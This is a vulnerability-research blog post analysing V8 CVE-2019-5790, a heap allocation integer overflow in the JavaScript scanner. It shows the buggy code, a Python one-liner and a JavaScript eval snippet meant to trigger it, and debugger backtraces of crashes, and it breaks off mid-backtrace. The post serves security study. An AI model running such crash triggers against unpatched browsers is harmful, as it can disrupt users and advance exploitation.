1<!DOCTYPE html><html lang="en" mode="dark" ><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"><meta name="layout-lang" content="en"><meta name="day-prompt" content="d ago"><meta name="hour-prompt" content="hr ago"><meta name="minute-prompt" content="min ago"><meta name="justnow-prompt" content="just now"><meta name="generator" content="Jekyll v4.2.1" /><meta property="og:title" content="V8 CVE-2019-5790" /><meta property="og:locale" content="en" /><meta name="description" content="This blogpost is an analysis of vulnerability reported by Dimitry Fourny from Blue Frost Security which was already fixed in repository but no poc has been released yet. It got me curious how the poc would look like for this bug so I started my research on the bug. I described the way I approached this bug with all the steps, also non-working tries." /><meta property="og:description" content="This blogpost is an analysis of vulnerability reported by Dimitry Fourny from Blue Frost Security which was already fixed in repository but no poc has been released yet. It got me curious how the poc would look like for this bug so I started my research on the bug. I described the way I approached this bug with all the steps, also non-working tries." /><link rel="canonical" href="https://mtowalski.github.io//posts/v8-CVE-2019-5790/" /><meta property="og:url" content="https://mtowalski.github.io//posts/v8-CVE-2019-5790/" /><meta property="og:site_name" content="Browser Research" /><meta property="og:type" content="article" /><meta property="article:published_time" content="2019-03-14T13:55:00+01:00" /><meta name="twitter:card" content="summary" /><meta property="twitter:title" content="V8 CVE-2019-5790" /><meta name="twitter:site" content="@mtowalski1" /><meta name="google-site-verification" content="google_meta_tag_verification" />
1<script type="application/ld+json"> {"@context":"https://schema.org","@type":"BlogPosting","dateModified":"2021-08-24T16:29:00+02:00","datePublished":"2019-03-14T13:55:00+01:00","description":"This blogpost is an analysis of vulnerability reported by Dimitry Fourny from Blue Frost Security which was already fixed in repository but no poc has been released yet. It got me curious how the poc would look like for this bug so I started my research on the bug. I described the way I approached this bug with all the steps, also non-working tries.","headline":"V8 CVE-2019-5790","mainEntityOfPage":{"@type":"WebPage","@id":"https://mtowalski.github.io//posts/v8-CVE-2019-5790/"},"url":"https://mtowalski.github.io//posts/v8-CVE-2019-5790/"}</script>
1<title>V8 CVE-2019-5790 | Browser Research</title><link rel="apple-touch-icon" sizes="180x180" href="/assets/img/favicons/apple-touch-icon.png"><link rel="icon" type="image/png" sizes="32x32" href="/assets/img/favicons/favicon-32x32.png"><link rel="icon" type="image/png" sizes="16x16" href="/assets/img/favicons/favicon-16x16.png"><link rel="manifest" href="/assets/img/favicons/site.webmanifest"><link rel="shortcut icon" href="/assets/img/favicons/favicon.ico"><meta name="apple-mobile-web-app-title" content="Browser Research"><meta name="application-name" content="Browser Research"><meta name="msapplication-TileColor" content="#da532c"><meta name="msapplication-config" content="/assets/img/favicons/browserconfig.xml"><meta name="theme-color" content="#ffffff"><link rel="preconnect" href="https://fonts.gstatic.com" crossorigin="anonymous"><link rel="dns-prefetch" href="https://fonts.gstatic.com"><link rel="preconnect" href="https://www.google-analytics.com" crossorigin="use-credentials"><link rel="dns-prefetch" href="https://www.google-analytics.com"><link rel="preconnect" href="https://www.googletagmanager.com" crossorigin="anonymous"><link rel="dns-prefetch" href="https://www.googletagmanager.com"><link rel="preconnect" href="https://cdn.jsdelivr.net"><link rel="dns-prefetch" href="https://cdn.jsdelivr.net"><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css"><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fortawesome/[email protected]/css/all.min.css"><link rel="stylesheet" href="/assets/css/style.css"><link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/afeld/[email protected]/dist/bootstrap-toc.min.css"><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/dist/magnific-popup.min.css">
1<script src="https://cdn.jsdelivr.net/npm/jquery@3/dist/jquery.min.js"></script>
1<body data-spy="scroll" data-target="#toc"><div id="sidebar" class="d-flex flex-column align-items-end" lang=""><div class="profile-wrapper text-center"><div id="avatar"> <a href="/" alt="avatar" class="mx-auto"> <img src="https://raw.githubusercontent.com/mtowalski/mtowalski.github.io/main/assets/img/favicons/1517580441295.jpg" alt="avatar" onerror="this.style.display='none'"> </a></div><div class="site-title mt-3"> <a href="/">Browser Research</a></div><div class="site-subtitle font-italic"></div></div><ul class="w-100"><li class="nav-item"> <a href="/" class="nav-link"> <i class="fa-fw fas fa-home ml-xl-3 mr-xl-3 unloaded"></i> <span>HOME</span> </a><li class="nav-item"> <a href="/categories/" class="nav-link"> <i class="fa-fw fas fa-stream ml-xl-3 mr-xl-3 unloaded"></i> <span>CATEGORIES</span> </a><li class="nav-item"> <a href="/tags/" class="nav-link"> <i class="fa-fw fas fa-tags ml-xl-3 mr-xl-3 unloaded"></i> <span>TAGS</span> </a><li class="nav-item"> <a href="/archives/" class="nav-link"> <i class="fa-fw fas fa-archive ml-xl-3 mr-xl-3 unloaded"></i> <span>ARCHIVES</span> </a><li class="nav-item"> <a href="/about/" class="nav-link"> <i class="fa-fw fas fa-info ml-xl-3 mr-xl-3 unloaded"></i> <span>
1ABOUT</span> </a><li class="nav-item"> <a href="/cves/" class="nav-link"> <i class="fa-fw fas fa-info ml-xl-3 mr-xl-3 unloaded"></i> <span>CVES</span> </a></ul><div class="sidebar-bottom mt-auto d-flex flex-wrap justify-content-center"> <a href="https://www.linkedin.com/in/mtowalski1" aria-label="linkedin" target="_blank" rel="noopener"> <i class="fab fa-linkedin"></i> </a> <a href="https://twitter.com/mtowalski1" aria-label="twitter" target="_blank" rel="noopener"> <i class="fab fa-twitter"></i> </a></div></div><div id="topbar-wrapper" class="row justify-content-center topbar-down"><div id="topbar" class="col-11 d-flex h-100 align-items-center justify-content-between"> <span id="breadcrumb"> <span> <a href="/"> Home </a> </span> <span>V8 CVE-2019-5790</span> </span> <i id="sidebar-trigger" class="fas fa-bars fa-fw"></i><div id="topbar-title"> Post</div><i id="search-trigger" class="fas fa-search fa-fw"></i> <span id="search-wrapper" class="align-items-center"> <i class="fas fa-search fa-fw"></i> <input class="form-control" id="search-input" type="search" aria-label="search" autocomplete="off" placeholder="Search..."> <i class="fa fa-times-circle fa-fw" id="search-cleaner"></i> </span> <span id="search-cancel" >Cancel</span></div></div><div id="main-wrapper"><div id="main"><div class="row"><div id="post-wrapper" class="col-12 col-lg-11 col-xl-8"><div class="post pl-1 pr-1 pl-sm-2 pr-sm-2 pl-md-4 pr-md-4"><h1 data-toc-skip>V8 CVE-2019-5790</h1><div class="post-meta text-muted d-flex flex-column"><div> <span class="semi-bold"> Marcin Towalski </span> on <span class="timeago " data-toggle="tooltip" data-placement="bottom" title="Thu, Mar 14, 2019, 1:55 PM +0100" >Mar 14, 2019<i class="unloaded">2019-03-14T13:55:00+01:00</i> </span></div><div> <span> Updated <span class="timeago lastmod" data-toggle="tooltip" data-placement="bottom" title="Tue, Aug 24, 2021, 4:29 PM +0200" >Aug 24, 2021<i class="unloaded">2021-08-24T16:29:00+02:00</i> </span> </span> <span class="readtime" data-toggle="tooltip" data-placement="bottom" title="3533 words">19 min read</span></div></div><div class="post-content"><p>This blogpost is an analysis of vulnerability reported by Dimitry Fourny from Blue Frost Security which was already fixed in repository but no poc has been released yet. It got me curious how the poc would look like for this bug so I started my research on the bug. I described the way I approached this bug with all the steps, also non-working tries.</p><p>https://chromereleases.googleblog.com/2019/03/stable-channel-update-for-desktop_12.html?m=1 https://access.redhat.com/security/cve/cve-2019-5790</p><p>Patch : <a href="https://github.com/v8/v8/commit/c7410e8ccff855fdb1a1a0a0c6c2690716a96548">Link</a></p><h2 id="bug">Bug</h2><div lang="cpp" class="language-cpp highlighter-rouge"><div class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1 22 33 44 55 66 77 88 99 1010 1111 1212 13</pre><td class="rouge-code"><pre><span class="kt">int</span> <span class="n">Scanner</span><span class="o">::</span><span class="n">LiteralBuffer</span><span class="o">::</span><span class="n">NewCapacity</span><span class="p">(</span><span class="kt">int</span> <span class="n">min_capacity</span><span class="p">)</span> <span class="p">{</span> 14 <span class="kt">int</span> <span class="n">capacity</span> <span class="o">=</span> <span class="n">Max</span><span class="p">(</span><span class="n">min_capacity</span><span class="p">,</span> <span class="n">backing_store_</span><span class="p">.</span><span class="n">length</span><span class="p">());</span> 15 <span class="kt">int</span> <span class="n">new_capacity</span> <span class="o">=</span> <span class="n">Min</span><span class="p">(</span><span class="n">capacity</span> <span class="o">*</span> <span class="n">kGrowthFactory</span><span class="p">,</span> <span class="n">capacity</span> <span class="o">+</span> <span class="n">kMaxGrowth</span><span class="p">);</span> 16 <span class="k">return</span> <span class="n">new_capacity</span><span class="p">;</span> 17<span class="p">}</span> 18 19<span class="kt">void</span> <span class="n">Scanner</span><span class="o">::</span><span class="n">LiteralBuffer</span><span class="o">::</span><span class="n">ExpandBuffer</span><span class="p">()</span> <span class="p">{</span> 20 <span class="n">Vector</span><span class="o"><</span><span class="n">byte</span><span class="o">></span> <span class="n">new_store</span> <span class="o">=</span> <span class="n">Vector</span><span class="o"><</span><span class="n">byte</span><span class="o">>::</span><span class="n">New</span><span class="p">(</span><span class="n">NewCapacity</span><span class="p">(</span><span class="n">kInitialCapacity</span><span class="p">));</span> 21 <span class="n">MemCopy</span><span class="p">(</span><span class="n">new_store</span><span class="p">.</span><span class="n">start</span><span class="p">(),</span> <span class="n">backing_store_</span><span class="p">.</span><span class="n">start</span><span class="p">(),</span> <span class="n">position_</span><span class="p">);</span> 22 <span class="n">backing_store_</span><span class="p">.</span><span class="n">Dispose</span><span class="p">();</span> 23 <span class="n">backing_store_</span> <span class="o">=</span> <span class="n">new_store</span><span class="p">;</span> 24<span class="p">}</span> 25</pre></table></code></div></div><p><code class="language-plaintext highlighter-rouge">Scanner::LiteralBuffer::NewCapacity</code> Is responsible for calculation of size that need to be allocated on the heap for the incoming string. It takes value <code class="language-plaintext highlighter-rouge">min_capacity</code> which is 16 and checks it against the <code class="language-plaintext highlighter-rouge">backing_store_.length()</code> which is the size of the string in question. Value <code class="language-plaintext highlighter-rouge">kMaxGrowth</code> equals 1MB = 1048576;</p><p>Basic idea of the allocation is like this: <code class="language-plaintext highlighter-rouge">"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" = 64 chars, so allocation would be 256.</code></p><p>Now all we need is to overflow allocation however there is tricky part because to overflow it we need max_int +1 (2147483648 + 1), so there are two choices to do that :</p><ul><li>
25create file with variable name that is max_int+1 = 2GB file<li>create dynamic string and the eval it so engine would need to parse it</ul><h2 id="method-1">Method 1:</h2><p>My attempt is to create file with this command: <code class="language-plaintext highlighter-rouge">python -c "print('var '+'a'*134217729+' = 1')" > poc2.js</code></p><p>CTRL+C during execution:</p><div lang="plaintext" class="language-plaintext highlighter-rouge"><div class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1 262 273 284 295 306 317 328 339 3410 3511 3612 3713 38</pre><td class="rouge-code"><pre>#0 0x000055555559a189 in (anonymous namespace)::(anonymous namespace)::CheckLTImpl<unsigned long, unsigned long> (lhs=37441044, rhs=37748736, msg=0x7ffff5f97060 "index < length_") at ../../src/base/logging.h:301 39#1 0x00007ffff62dabbf in (anonymous namespace)::(anonymous namespace)::Vector<unsigned char const>::operator[] (this=0x7fffffffc380, index=37441044) at ../../src/vector.h:61 40#2 0x00007ffff700698f in (anonymous namespace)::(anonymous namespace)::Scanner::LiteralBuffer::AddOneByteChar (this=0x7fffffffc380, one_byte_char=97 'a') at ../../src/parsing/scanner.h:486 41#3 0x00007ffff7006cd4 in (anonymous namespace)::(anonymous namespace)::Scanner::LiteralBuffer::AddChar (this=0x7fffffffc380, code_unit=97 'a') at ../../src/parsing/scanner.h:425 42#4 0x00007ffff70055fb in (anonymous namespace)::(anonymous namespace)::Scanner::AddLiteralChar (this=0x7fffffffc350, c=97 'a') at ../../src/parsing/scanner.h:577 43#5 0x00007ffff7006c5d in operator() (this=0x7fffffffb360, c0=97) at ../../src/parsing/scanner-inl.h:273 44#6 0x00007ffff7006b99 in operator() (this=0x7fffffffb388, raw_c0_=97) at ../../src/parsing/scanner.h:77 45#7 0x00007ffff7006abe in (anonymous namespace)::(anonymous namespace)::find_if<const unsigned short *, (lambda at ../../src/parsing/scanner.h:75:53)> (__first=0x555555694972, __last=0x555555694d42, __pred=...) at ../../buildtools/third_party/libc++/trunk/include/algorithm:878 46#8 (anonymous namespace)::(anonymous namespace)::Utf16CharacterStream::AdvanceUntil<(lambda at ../../src/parsing/scanner-inl.h:259:20)>(class {...}) (this=0x555555694910, check=...) at ../../src/parsing/scanner.h:75 47#9 0x00007ffff7006a30 in (anonymous namespace)::(anonymous namespace)::Scanner::AdvanceUntil<(lambda at ../../src/parsing/scanner-inl.h:259:20)>(class {...}) (this=0x7fffffffc350, check=...) at ../../src/parsing/scanner.h:599 48#10 0x00007ffff7005093 in (anonymous namespace)::(anonymous namespace)::Scanner::ScanIdentifierOrKeywordInner (this=0x7fffffffc350) at ../../src/parsing/scanner-inl.h:259 49#11 0x00007ffff700685e in (anonymous namespace)::(anonymous namespace)::Scanner::ScanIdentifierOrKeyword (this=0x7fffffffc350) at ../../src/parsing/scanner-inl.h:180 50#12 0x00007ffff7006454 in (anonymous namespace)::(anonymous namespace)::Scanner::ScanSingleToken (this=0x7fffffffc350) at ../../src/parsing/scanner-inl.h:490 51</pre></table></code></div></div><p>It looks I am hitting the right code, so next step is too make breakpoint at point <code class="language-plaintext highlighter-rouge">br scanner.cc:70</code> and check the value for <code class="language-plaintext highlighter-rouge">new_capacity</code> and it goes like this :</p><div lang="plaintext" class="language-plaintext highlighter-rouge"><div class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1 522 533 544 555 566 577 588 599 6010 6111 6212 6313 6414 6515 6616 6717 68</pre><td class="rouge-code"><pre>[1] = 64 69[2] = 256 70[3] = 1024 71[4] = 4096 72[5] = 16384 73[6] = 65536 74[7] = 262144 75[8] = 1048576 - we are hitting here "kMaxGrowth" 76[9] = 2097152 77[10] = 3145728 78[11] = 4194304 79[12] = 5242880 80[...] 81[158] = 158334976 82[159] = 159383552 83[160] = 160432128 84[161] = 161480704 85</pre></table></code></div></div><p>So based on this my assumption was wrong that it always is multiplied by 4.</p><h3 id="backtrace">Backtrace</h3><div lang="plaintext" class="language-plaintext highlighter-rouge"><div class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1 862 873 884 895 906 917 928 939 9410 9511 9612 9713 9814 9915 10016 10117 10218 10319 10420 10521 10622 10723 10824 10925 11026 11127 11228 11329 11430 11531 11632 11733 11834 11935 12036 12137 12238 12339 12440 12541 12642 12743 12844 12945 13046 13147 13248 13349 13450
13551 13652 13753 13854 13955 14056 14157 14258 14359 14460 14561 14662 14763 14864 14965 15066 15167 15268 15369 15470 15571 15672 15773 15874 15975 16076 16177 16278 16379 16480 16581 16682 16783 16884 16985 17086 17187 172</pre><td class="rouge-code"><pre>Continuing. 173$new_capacity = 135266304 174 175Thread 1 "d8" hit Breakpoint 1, (anonymous namespace)::(anonymous namespace)::Scanner::LiteralBuffer::NewCapacity (this=0x7fffffffc380, min_capacity=16) at ../../src/parsing/scanner.cc:70 17670 return new_capacity; 177LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 178ââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ[ REGISTERS ]âââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ 179 RAX 0x8100000 180 RBX 0x0 181 RCX 0x8000000 182 RDX 0x8000000 183 RDI 0x20000000 184 RSI 0x20000000 185 R8 0x8000000 186 R9 0x0 187 R10 0x7fffe7b1bfd0 ââ 0x6161616161616161 ('aaaaaaaa') 188 R11 0x207 189 R12 0x7fffffffd1f8 â⸠0x5555556a4e30 â⸠0x400aa88a1a9 ââ 0x300003db415e808 190 R13 0x7fffffffe540 ââ 0x2 191 R14 0x0 192 R15 0x0 193 RBP 0x7fffffffb210 â⸠0x7fffffffb250 â⸠0x7fffffffb280 â⸠0x7fffffffb2b0 â⸠0x7fffffffb2d0 ââ ... 194 RSP 0x7fffffffb1f0 â⸠0x7fffffffb210 â⸠0x7fffffffb250 â⸠0x7fffffffb280 â⸠0x7fffffffb2b0 ââ ... 195 RIP 0x7ffff6fffd54 (v8::internal::Scanner::LiteralBuffer::NewCapacity(int)+68) ââ mov eax, dword ptr [rbp - 0x14] 196ââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ[ DISASM ]ââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ 197 ⺠0x7ffff6fffd54 <v8::internal::Scanner::LiteralBuffer::NewCapacity(int)+68> mov eax, dword ptr [rbp - 0x14] 198 0x7ffff6fffd57 <v8::internal::Scanner::LiteralBuffer::NewCapacity(int)+71> add rsp, 0x20 199 0x7ffff6fffd5b <v8::internal::Scanner::LiteralBuffer::NewCapacity(int)+75> pop rbp 200 0x7ffff6fffd5c <v8::internal::Scanner::LiteralBuffer::NewCapacity(int)+76> ret 201 â 202 0x7ffff6fffd7e <v8::internal::Scanner::LiteralBuffer::ExpandBuffer()+30> mov edi, eax 203 0x7ffff6fffd80 <v8::internal::Scanner::LiteralBuffer::ExpandBuffer()+32> call 0x7ffff7ccd680 204 205 0x7ffff6fffd85 <v8::internal::Scanner::LiteralBuffer::ExpandBuffer()+37> mov qword ptr [rbp - 0x18], rax 206 0x7ffff6fffd89 <v8::internal::Scanner::LiteralBuffer::ExpandBuffer()+41> mov qword ptr [rbp - 0x10], rdx 207 0x7ffff6fffd8d <v8::internal::Scanner::LiteralBuffer::ExpandBuffer()+45> lea rdi, [rbp - 0x18] 208 0x7ffff6fffd91 <v8::internal::Scanner::LiteralBuffer::ExpandBuffer()+49> call 0x7ffff7c68300 209 210 0x7ffff6fffd96 <v8::internal::Scanner::LiteralBuffer::ExpandBuffer()+54> mov rdi, qword ptr [rbp - 0x20] 211ââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ[ SOURCE (CODE) ]âââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ 212In file: /home/mtowalski/v8/v8/src/parsing/scanner.cc 213 65 } 214 66 215 67 int Scanner::LiteralBuffer::NewCapacity(int min_capacity) { 216 68 int capacity = Max(min_capacity, backing_store_.length()); 217 69 int new_capacity = Min(capacity * kGrowthFactory, capacity + kMaxGrowth); 218 ⺠70 return new_capacity; 219 71 } 220 72 221 73 void Scanner::LiteralBuffer::ExpandBuffer() { 222 74 Vector<byte> new_store = Vector<byte>::New(NewCapacity(kInitialCapacity)); 223 75 MemCopy(new_store.start(), backing_store_.start(), position_); 224ââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ[ STACK ]âââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ 22500:0000â rsp 0x7fffffffb1f0 â⸠0x7fffffffb210 â⸠0x7fffffffb250 â⸠0x7fffffffb280 â⸠0x7fffffffb2b0 ââ ... 22601:0008â 0x7fffffffb1f8 ââ 0x810000000000010 22702:0010â 0x7fffffffb200 ââ 0x1008000000 22803:0018â 0x7fffffffb208 â⸠0x7fffffffc380 â⸠0x7fffe771e010 ââ 0x6161616161616161 ('aaaaaaaa') 22904:0020â rbp 0x7fffffffb210 â⸠0x7fffffffb250 â⸠0x7fffffffb280 â⸠0x7fffffffb2b0 â⸠0x7fffffffb2d0 ââ ... 23005:0028â 0x7fffffffb218 â⸠0x7ffff6fffd7e (v8::internal::Scanner::LiteralBuffer::ExpandBuffer()+30) ââ mov edi, eax 23106:0030â 0x7fffffffb220 â⸠0x7fffffffb240 â⸠0x7fffffffc380 â⸠0x7fffe771e010 ââ 0x6161616161616161 ('aaaaaaaa') 23207:0038â 0x7fffffffb228 â⸠0x7fffe771e010 ââ 0x6161616161616161 ('aaaaaaaa') 233ââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ[ BACKTRACE ]âââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââââ 234 ⺠f 0 7ffff6fffd54 v8::internal::Scanner::LiteralBuffer::NewCapacity(int)+68 235 f 1 7ffff6fffd7e v8::internal::Scanner::LiteralBuffer::ExpandBuffer()+30 236 f 2 7ffff7006979 237 f 3 7ffff7006cd4 v8::internal::Scanner::LiteralBuffer::AddChar(char)+100 238 f 4 7ffff70055fb v8::internal::Scanner::AddLiteralChar(char)+43 239 f 5 7ffff7006c5d 240 f 6 7ffff7006b99 241 f 7 7ffff7006abe 242 f 8 7ffff7006abe 243 f 9 7ffff7006a30 244 f 10 7ffff7005093 v8::internal::Scanner::ScanIdentifierOrKeywordInner()+355 245Breakpoint scanner.cc:70 246pwndbg> c 247Continuing. 248[Thread 0x7ffff1722700 (LWP 18914) exited] 249[Thread 0x7fffeff1f700 (LWP 18917) exited] 250[Thread 0x7ffff0720700 (LWP 18916) exited] 251[Thread 0x7ffff0f21700 (LWP 18915) exited] 252[Thread 0x7ffff1f23700 (LWP 18913) exited] 253[Thread 0x7ffff2724700 (LWP 18912) exited] 254[Thread 0x7ffff2f25700 (LWP 18911) exited] 255[Thread 0x7ffff3726700 (LWP 18910) exited] 256[Inferior 1 (process 18904) exited normally] 257 258 259</pre></table></code></div></div><p>Based on this pattern the <code class="language-plaintext highlighter-rouge">new_capacity</code> would be assigned max_int after many iterations ( At line 8 we hit <code class="language-plaintext highlighter-rouge">kMaxGrowth</code> and from that point it is not multiplication by 4 but from now it is addition of <code class="language-plaintext highlighter-rouge">1048576</code>.</p><p>By this method I tried to allocate <code class="language-plaintext highlighter-rouge">(max_int) - 1048576 +1</code> so I would receive <code class="language-plaintext highlighter-rouge">max_int in new_capacity</code> It crashed with this backtrace</p><div lang="plaintext" class="language-plaintext highlighter-rouge"><div class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1 2602 2613 2624 2635 2646 2657 2668 2679 26810 26911 27012 27113 272</pre><td class="rouge-code"><pre>#0 (anonymous namespace)::(anonymous namespace)::OS::Abort () at ../../src/base/platform/platform-posix.cc:400 273#1 0x00007ffff626fa0f in (anonymous namespace)::Utils::ReportApiFailure (location=0x7ffff5fee698 "v8::ToLocalChecked", message=0x7ffff5fa30c0 "Empty MaybeLocal.") at ../../src/api.cc:467 274#2 0x00007ffff62bf1df in (anonymous namespace)::Utils::ApiCheck (condition=false, location=0x7ffff5fee698 "v8::ToLocalChecked", message=0x7ffff5fa30c0 "Empty MaybeLocal.") at ../../src/api.h:135 275#3 0x00007ffff6273a5d in (anonymous namespace)::V8::ToLocalEmpty () at ../../src/api.cc:1055 276#4 0x0000555555596261 in (anonymous namespace)::MaybeLocal<v8::String>::ToLocalChecked (this=0x7fffffffd0f8) at ../../include/v8.h:9458 277#5 0x00005555555b440d in (anonymous namespace)::Shell::ReadFile (isolate=0x5555556113b0, name=0x7fffffffe7bd "poc2.js") at ../../src/d8.cc:2236 278#6 0x00005555555c2761 in (anonymous namespace)::SourceGroup::ReadFile (this=0x55555560a028, isolate=0x5555556113b0, name=0x7fffffffe7bd "poc2.js") at ../../src/d8.cc:2479 279#7 0x00005555555c25da in (anonymous namespace)::SourceGroup::Execute (this=0x55555560a028, isolate=0x5555556113b0) at ../../src/d8.cc:2460 280#8 0x00005555555c685f in (anonymous namespace)::Shell::RunMain (isolate=0x5555556113b0, argc=2, argv=0x7fffffffe548, last_run=true) at ../../src/d8.cc:2948 281#9 0x00005555555c8d84 in (anonymous namespace)::Shell::Main (argc=2, argv=0x7fffffffe548) at ../../src/d8.cc:3500 282#10 0x00005555555c9292 in main (argc=2, argv=0x7fffffffe548) at ../../src/d8.cc:3535 283#11 0x00007ffff4aa62e1 in __libc_start_main (main=0x5555555c9270 <main(int, char**)>, argc=2, argv=0x7fffffffe548, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe538) at ../csu/libc-start.c:291 284#12 0x000055555559402a in _start () 285</pre></table></code></div></div><h2 id="method-2">
285Method 2:</h2><div lang="js" class="language-js highlighter-rouge"><div class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1 2862 2873 2884 2895 2906 2917 2928 2939 29410 29511 29612 29713 298</pre><td class="rouge-code"><pre> 299<span class="kd">function</span> <span class="nx">repeatStringNumTimes</span><span class="p">(</span><span class="nx">string</span><span class="p">,</span> <span class="nx">times</span><span class="p">)</span> <span class="p">{</span> 300 <span class="kd">var</span> <span class="nx">repeatedString</span> <span class="o">=</span> <span class="dl">""</span><span class="p">;</span> 301 <span class="k">while</span> <span class="p">(</span><span class="nx">times</span> <span class="o">></span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> 302 <span class="nx">repeatedString</span> <span class="o">+=</span> <span class="nx">string</span><span class="p">;</span> 303 <span class="nx">times</span><span class="o">--</span><span class="p">;</span> 304 <span class="p">}</span> 305 <span class="k">return</span> <span class="nx">repeatedString</span><span class="p">;</span> 306<span class="p">}</span> 307<span class="kd">var</span> <span class="nx">len_str</span> <span class="o">=</span> <span class="mi">2147483648</span><span class="p">;</span> 308<span class="kd">var</span> <span class="nx">name_function</span> <span class="o">=</span> <span class="nx">repeatStringNumTimes</span><span class="p">(</span><span class="dl">"</span><span class="se">\</span><span class="s2">u0151</span><span class="dl">"</span><span class="p">,</span><span class="nx">len_str</span><span class="p">);</span> 309<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">name_function</span><span class="p">.</span><span class="nx">length</span><span class="p">);</span> 310<span class="nb">eval</span><span class="p">(</span><span class="dl">"</span><span class="s2">var </span><span class="dl">"</span><span class="o">+</span><span class="nx">name_function</span><span class="o">+</span><span class="dl">"</span><span class="s2"> = new Function('return');</span><span class="dl">"</span><span class="p">);</span> 311</pre></table></code></div></div><p>This approach will crash the engine before reaching the vulnerable code because of addition of string is too big.</p><p>So after learning new stuff from âMethod 1â I decieded to try to allocate string of length <code class="language-plaintext highlighter-rouge">2146435073</code></p><p>During this experiment it crashed like this:</p><h3 id="backtrace-1">Backtrace</h3><div lang="plaintext" class="language-plaintext highlighter-rouge"><div class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1 3122 3133 3144 3155 3166 3177 3188 3199 32010 32111 32212 32313 32414 32515 32616 32717 32818 32919 33020 33121 33222 33323 33424 33525 33626 33727 33828 33929 34030 34131 34232 34333 34434 34535 34636 34737 34838 34939 35040 35141 35242 35343 35444 35545 35646 35747 35848 35949 36050 36151 36252 36353 36454 36555 36656 36757 36858 36959 370</pre><td class="rouge-code"><pre>$2517 = 66060288 371Length is 65273856 372$2519 = 64 373[.....] 374$2588 = 66060288 375$2589 = 67108864 376pwndbg> 377<--- Last few GCs ---> 378 379[23783:0x5555556113b0] 419195 ms: Mark-sweep 2036.3 (2039.3) -> 2036.3 (2039.3) MB, 154.7 / 0.0 ms (average mu = 0.951, current mu = 0.001) last resort GC in old space requested 380[23783:0x5555556113b0] 419364 ms: Mark-sweep 2036.3 (2039.3) -> 2036.3 (2039.3) MB, 169.6 / 0.1 ms (average mu = 0.900, current mu = 0.000) last resort GC in old space requested 381 382 383<--- JS stacktrace ---> 384 385==== JS stack trace ========================================= 386 387 0: ExitFrame [pc: 0x7ffff79e678d] 388 1: StubFrame [pc: 0x7ffff7b3bbac] 389Security context: 0x3c1eaab973b1 <JSObject> 390 2: /* anonymous */ [0x3c1eaab9bd11] [test.js:4] [bytecode=0x3c1eaab9bbd1 offset=141](this=0x1de80ad809f9 <JSGlobal Object>) 391 3: InternalFrame [pc: 0x7ffff76d8680] 392 4: EntryFrame [pc: 0x7ffff76d840d] 393 394==== Details ================================================ 395 396[0]: ExitFrame [pc: 0x7ffff79e678d] 397[1]: StubFram... 398 399 400# 401# Fatal javascript OOM in CALL_AND_RETRY_LAST 402# 403 404 405Thread 1 "d8" received signal SIGILL, Illegal instruction. 406(anonymous namespace)::(anonymous namespace)::OS::Abort () at ../../src/base/platform/platform-posix.cc:400 407400 V8_IMMEDIATE_CRASH(); 408bt 409#0 (anonymous namespace)::(anonymous namespace)::OS::Abort () at ../../src/base/platform/platform-posix.cc:400 410#1 0x00007ffff626f95b in (anonymous namespace)::Utils::ReportOOMFailure (isolate=0x5555556113b0, location=0x7ffff5ff8cad "CALL_AND_RETRY_LAST", is_heap_oom=true) at ../../src/api.cc:484 411#2 0x00007ffff626f8c6 in (anonymous namespace)::(anonymous namespace)::V8::FatalProcessOutOfMemory (isolate=0x5555556113b0, location=0x7ffff5ff8cad "CALL_AND_RETRY_LAST", is_heap_oom=true) at ../../src/api.cc:452 412#3 0x00007ffff6b43e3a in (anonymous namespace)::(anonymous namespace)::Heap::FatalProcessOutOfMemory (this=0x55555561a1a8, location=0x7ffff5ff8cad "CALL_AND_RETRY_LAST") at ../../src/heap/heap.cc:4872 413#4 0x00007ffff6b51f8b in (anonymous namespace)::(anonymous namespace)::Heap::AllocateRawWithRetryOrFail (this=0x55555561a1a8, size=66322448, space=(anonymous namespace)::(anonymous namespace)::OLD_SPACE, alignment=(anonymous namespace)::(anonymous namespace)::kWordAligned) at ../../src/heap/heap.cc:4310 414#5 0x00007ffff6aea7be in (anonymous namespace)::(anonymous namespace)::Factory::AllocateRawWithImmortalMap (this=0x5555556113b0, size=66322448, pretenure=(anonymous namespace)::(anonymous namespace)::TENURED, map=..., alignment=(anonymous namespace)::(anonymous namespace)::kWordAligned) at ../../src/heap/factory.cc:128 415#6 0x00007ffff6af161c in (anonymous namespace)::(anonymous namespace)::Factory::AllocateRawOneByteInternalizedString (this=0x5555556113b0, length=66322432, hash_field=265289730) at ../../src/heap/factory.cc:835 416#7 0x00007ffff6af2099 in (anonymous namespace)::(anonymous 